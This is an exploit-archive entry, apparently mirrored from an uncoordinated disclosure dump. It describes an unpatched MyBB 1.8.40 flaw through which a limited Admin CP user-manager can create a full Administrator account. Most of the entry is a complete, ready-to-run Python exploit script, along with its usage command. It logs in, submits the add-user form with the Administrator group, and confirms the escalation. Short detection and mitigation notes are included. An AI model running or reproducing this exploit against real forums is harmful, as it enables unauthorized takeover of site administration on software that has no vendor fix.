PoC Archive PoC Archive
High None assigned as of 2026-07-03 (see Notes — CVE-2026-45115 identifies a separate, already-patched MyBB issue) unpatched

MyBB 1.8.40 Limited Admin CP User-Manager to Full Administrator Privilege Escalation

by bikini (@ashdfrkl) — original discovery; mirrored via exploitarium · 2026-07-03

Severity
High
CVE
None assigned as of 2026-07-03 (see Notes — CVE-2026-45115 identifies a separate, already-patched MyBB issue)
Category
web
Affected product
MyBB forum software, Admin CP add-user flow
Affected versions
MyBB 1.8.40 (version code 1840), latest release as of source publication
Disclosed
2026-07-03
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-03
Last Updated2026-06
Author / Researcherbikini (@ashdfrkl) — original discovery; mirrored via exploitarium
CVE / AdvisoryNone assigned as of 2026-07-03 (see Notes — CVE-2026-45115 identifies a separate, already-patched MyBB issue)
Categoryweb
SeverityHigh
CVSS ScoreNot yet scored (no CVE/CVSS assigned)
StatusPoC
Tagsmybb, privilege-escalation, admin-cp, authorization-bypass, forum-software, php, access-control
RelatedCVE-2026-45115 (different, already-patched MyBB buddy-list XSS chain)

Affected Target

FieldValue
Software / SystemMyBB forum software, Admin CP add-user flow
Versions AffectedMyBB 1.8.40 (version code 1840), latest release as of source publication
Language / PlatformPython 3 (standard library only); targets PHP-based MyBB Admin CP over HTTP(S)
Authentication RequiredYes — requires an authenticated Admin CP account with only the user-users (manage users) permission
Network Access RequiredYes

Summary

A non-super Admin CP account that has only the user-management permission (user-users = 1) can use the standard Admin CP “add user” form to create a brand-new account directly in the Administrator group (gid=4), because the underlying user data handler’s verify_usergroup() unconditionally returns true and never checks whether the acting ACP user is authorized to grant an Admin CP-capable group. The add-user form itself renders every non-guest usergroup, including Administrator, and the submitted usergroup/additionalgroups/displaygroup fields are forwarded to the handler without an authorization check. The newly created account fully inherits Administrator-group Admin CP permissions, including access to modules (such as Configuration) that the original limited account was explicitly denied — a complete privilege escalation from a narrowly scoped ACP role to full application administration. This PoC was published by a pseudonymous independent researcher (bikini/ashdfrkl) as part of the uncoordinated “exploitarium” vulnerability dump; it has not been vendor-confirmed, and the source README explicitly distinguishes this issue from CVE-2026-45115, which is a different, already-patched buddy/ignore-list username stored-XSS chain in the same MyBB version.


Vulnerability Details

Root Cause

MyBB’s Admin CP add-user flow forwards the submitted usergroup, additionalgroups, and displaygroup fields directly into the user data handler, and UserDataHandler::verify_usergroup() always returns true with no check that the acting Admin CP user is authorized to grant Admin CP-capable groups such as Administrator (gid=4).

Attack Vector

  1. Attacker obtains or is granted a limited Admin CP account with only the user-users permission (no super-admin, no admin-permissions module access).
  2. Attacker confirms the account is denied access to unrelated modules (e.g. config-settings), establishing the limited-privilege baseline.
  3. Attacker uses the Admin CP “add user” form, which lists every non-guest usergroup including Administrator, and submits a new user with usergroup=4.
  4. The user data handler accepts the group assignment unconditionally via verify_usergroup() returning true, and the new Administrator-group account is created.
  5. Attacker logs in as the newly created account and confirms it now has full Administrator Admin CP access, including modules the original account could never reach.

Impact

Full MyBB application administration (configuration, user management, themes/templates, forum content, and all Admin CP functionality) obtainable by any account with only limited, narrowly-scoped Admin CP user-management access.


Environment / Lab Setup

Target:   MyBB 1.8.40 (version code 1840) with a non-super Admin CP account holding only user-users=1
Attacker: Python 3 standard library only

Proof of Concept

PoC Script

See mybb_limited_acp_to_admin.py in this folder.

1
2
3
4
5
6
7
python3 mybb_limited_acp_to_admin.py \
  --url http://127.0.0.1:8110 \
  --admin-user limited_user_manager \
  --admin-pass 'LimitedPassword123!' \
  --new-user promoted_admin \
  --new-pass 'NewAdminPassword123!' \
  --new-email promoted_admin@example.test

The script logs into the Admin CP with the limited account, confirms it is denied access to an unrelated module, submits the add-user form to create a new gid=4 Administrator account, logs in as that new account, and confirms the same module is no longer denied — proving the privilege-escalation boundary crossing end-to-end.


Detection & Indicators of Compromise

Signs of compromise:

  • New Administrator-group MyBB accounts appearing shortly after activity from a limited, non-super Admin CP account
  • Admin CP audit/moderation logs showing user-creation events from accounts without super-admin privileges assigning privileged groups
  • Unexplained changes to board configuration, themes, or templates traceable to a recently escalated account

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-03 — monitor for advisory
Interim mitigationReject any primary, additional, or display group with Admin CP capability in add-user/edit-user/mass-update flows unless the acting user is a super administrator or holds an explicit high-trust group-grant permission; harden UserDataHandler::verify_usergroup() to enforce this instead of always returning true

References


Notes

Mirrored from https://github.com/bikini/exploitarium (folder: mybb-limited-acp-to-admin) on 2026-07-03. No CVE has been assigned to this specific limited-ACP privilege-escalation issue as of ingestion. The source README explicitly clarifies that CVE-2026-45115 identifies a different, already-patched MyBB 1.8.40 issue (a regular-user buddy/ignore-list username stored-XSS chain leading to Admin CP compromise) and that this PoC targets a separate, still-unpatched limited-ACP-to-Administrator privilege-escalation flow in the same latest release. This is an uncoordinated disclosure by a pseudonymous researcher; treat with appropriate caution pending vendor confirmation.

mybb_limited_acp_to_admin.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
from __future__ import annotations

import argparse
import html
import http.cookiejar
import re
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
from dataclasses import dataclass
from http.cookies import SimpleCookie
from typing import Iterable


class PocError(RuntimeError):
    pass


@dataclass
class HttpResponse:
    status: int
    reason: str
    headers: object
    body: str
    url: str


class MyBBClient:
    def __init__(self, base_url: str, admin_path: str, verify_tls: bool = True) -> None:
        self.base_url = base_url.rstrip("/")
        self.admin_path = admin_path.strip("/")
        self.cookies = http.cookiejar.CookieJar()
        handlers: list[urllib.request.BaseHandler] = [
            urllib.request.HTTPCookieProcessor(self.cookies)
        ]
        if not verify_tls:
            handlers.append(
                urllib.request.HTTPSHandler(
                    context=ssl._create_unverified_context()
                )
            )
        self.opener = urllib.request.build_opener(*handlers)

    def set_adminsid(self, adminsid: str) -> None:
        cookie = SimpleCookie()
        cookie["adminsid"] = adminsid
        morsel = cookie["adminsid"]
        parsed = urllib.parse.urlparse(self.base_url)
        domain = parsed.hostname or "localhost"
        self.cookies.set_cookie(
            http.cookiejar.Cookie(
                version=0,
                name=morsel.key,
                value=morsel.value,
                port=None,
                port_specified=False,
                domain=domain,
                domain_specified=False,
                domain_initial_dot=False,
                path="/",
                path_specified=True,
                secure=parsed.scheme == "https",
                expires=None,
                discard=True,
                comment=None,
                comment_url=None,
                rest={},
                rfc2109=False,
            )
        )

    def url(self, path: str) -> str:
        return f"{self.base_url}/{path.lstrip('/')}"

    def admin_url(self, query: str = "") -> str:
        suffix = f"?{query}" if query else ""
        return self.url(f"{self.admin_path}/index.php{suffix}")

    def request(self, url: str, data: dict[str, object] | None = None) -> HttpResponse:
        encoded = None
        if data is not None:
            encoded = urllib.parse.urlencode(data, doseq=True).encode()
        req = urllib.request.Request(
            url,
            data=encoded,
            headers={"User-Agent": "MyBB-limited-acp-to-admin-poc/1.0"},
            method="POST" if data is not None else "GET",
        )
        try:
            with self.opener.open(req, timeout=20) as resp:
                raw = resp.read()
                body = raw.decode(resp.headers.get_content_charset() or "utf-8", "replace")
                return HttpResponse(resp.status, resp.reason, resp.headers, body, resp.url)
        except urllib.error.HTTPError as exc:
            raw = exc.read()
            body = raw.decode(exc.headers.get_content_charset() or "utf-8", "replace")
            return HttpResponse(exc.code, exc.reason, exc.headers, body, exc.url)

    def login_acp(self, username: str, password: str) -> str:
        resp = self.request(
            self.admin_url(),
            {
                "do": "login",
                "username": username,
                "password": password,
            },
        )
        adminsid = self.cookie_value("adminsid")
        if not adminsid:
            raise PocError(f"ACP login failed or did not issue adminsid; HTTP {resp.status}")
        return adminsid

    def cookie_value(self, name: str) -> str:
        for cookie in self.cookies:
            if cookie.name == name:
                return cookie.value
        return ""


def extract_post_key(body: str) -> str:
    patterns = [
        r'name=["\']my_post_key["\']\s+value=["\']([^"\']+)["\']',
        r'value=["\']([^"\']+)["\']\s+name=["\']my_post_key["\']',
    ]
    for pattern in patterns:
        match = re.search(pattern, body, re.I)
        if match:
            return html.unescape(match.group(1))
    raise PocError("Could not find my_post_key in add-user form")


def response_has_access_denied(body: str) -> bool:
    return "Access Denied" in body or "access denied" in body.lower()


def require_not_denied(resp: HttpResponse, context: str) -> None:
    if response_has_access_denied(resp.body):
        raise PocError(f"{context}: target returned Access Denied")


def print_kv(rows: Iterable[tuple[str, object]]) -> None:
    width = max(len(key) for key, _ in rows)
    for key, value in rows:
        print(f"{key:<{width}} : {value}")


def main(argv: list[str]) -> int:
    parser = argparse.ArgumentParser(
        description="Create a full MyBB Administrator from a limited ACP user-manager account."
    )
    parser.add_argument("--url", required=True, help="Base forum URL")
    parser.add_argument("--admin-path", default="admin", help="Admin CP path, default: admin")
    parser.add_argument("--admin-user", help="Limited ACP username")
    parser.add_argument("--admin-pass", help="Limited ACP password")
    parser.add_argument("--adminsid", help="Existing adminsid cookie for the limited ACP account")
    parser.add_argument("--new-user", required=True, help="Username for the new gid-4 Administrator")
    parser.add_argument("--new-pass", required=True, help="Password for the new Administrator")
    parser.add_argument("--new-email", required=True, help="Email for the new Administrator")
    parser.add_argument(
        "--probe-module",
        default="config-settings",
        help="Admin module to request for source/new-account comparison, default: config-settings",
    )
    parser.add_argument(
        "--no-verify-tls",
        action="store_true",
        help="Disable TLS certificate verification for local/self-signed labs.",
    )
    args = parser.parse_args(argv)

    if not args.adminsid and not (args.admin_user and args.admin_pass):
        parser.error("provide either --adminsid or both --admin-user/--admin-pass")

    source = MyBBClient(args.url, args.admin_path, verify_tls=not args.no_verify_tls)
    if args.adminsid:
        source.set_adminsid(args.adminsid)
    else:
        source.login_acp(args.admin_user, args.admin_pass)

    source_probe = source.request(source.admin_url(f"module={urllib.parse.quote(args.probe_module)}"))
    source_denied = response_has_access_denied(source_probe.body)

    add_form = source.request(source.admin_url("module=user-users&action=add"))
    require_not_denied(add_form, "add-user form")
    post_key = extract_post_key(add_form.body)

    create = source.request(
        source.admin_url("module=user-users&action=add"),
        {
            "my_post_key": post_key,
            "username": args.new_user,
            "password": args.new_pass,
            "confirm_password": args.new_pass,
            "email": args.new_email,
            "usergroup": "4",
            "displaygroup": "0",
        },
    )

    created_like_success = create.status in (200, 302)

    new_admin = MyBBClient(args.url, args.admin_path, verify_tls=not args.no_verify_tls)
    new_admin.login_acp(args.new_user, args.new_pass)
    new_probe = new_admin.request(new_admin.admin_url(f"module={urllib.parse.quote(args.probe_module)}"))
    new_denied = response_has_access_denied(new_probe.body)

    print_kv(
        [
            ("target", args.url.rstrip("/")),
            ("source_probe_status", f"HTTP {source_probe.status}"),
            ("source_probe_denied", "yes" if source_denied else "no"),
            ("add_form_status", f"HTTP {add_form.status}"),
            ("post_key_found", "yes"),
            ("create_status", f"HTTP {create.status}"),
            ("new_admin_login", "adminsid issued" if new_admin.cookie_value("adminsid") else "no adminsid"),
            ("new_probe_status", f"HTTP {new_probe.status}"),
            ("new_probe_denied", "yes" if new_denied else "no"),
        ]
    )

    if not created_like_success or new_denied or not new_admin.cookie_value("adminsid"):
        raise PocError("Exploit did not verify")

    print("\nResult: full Administrator account created and verified")
    return 0


if __name__ == "__main__":
    try:
        raise SystemExit(main(sys.argv[1:]))
    except PocError as exc:
        print(f"error: {exc}", file=sys.stderr)
        raise SystemExit(1)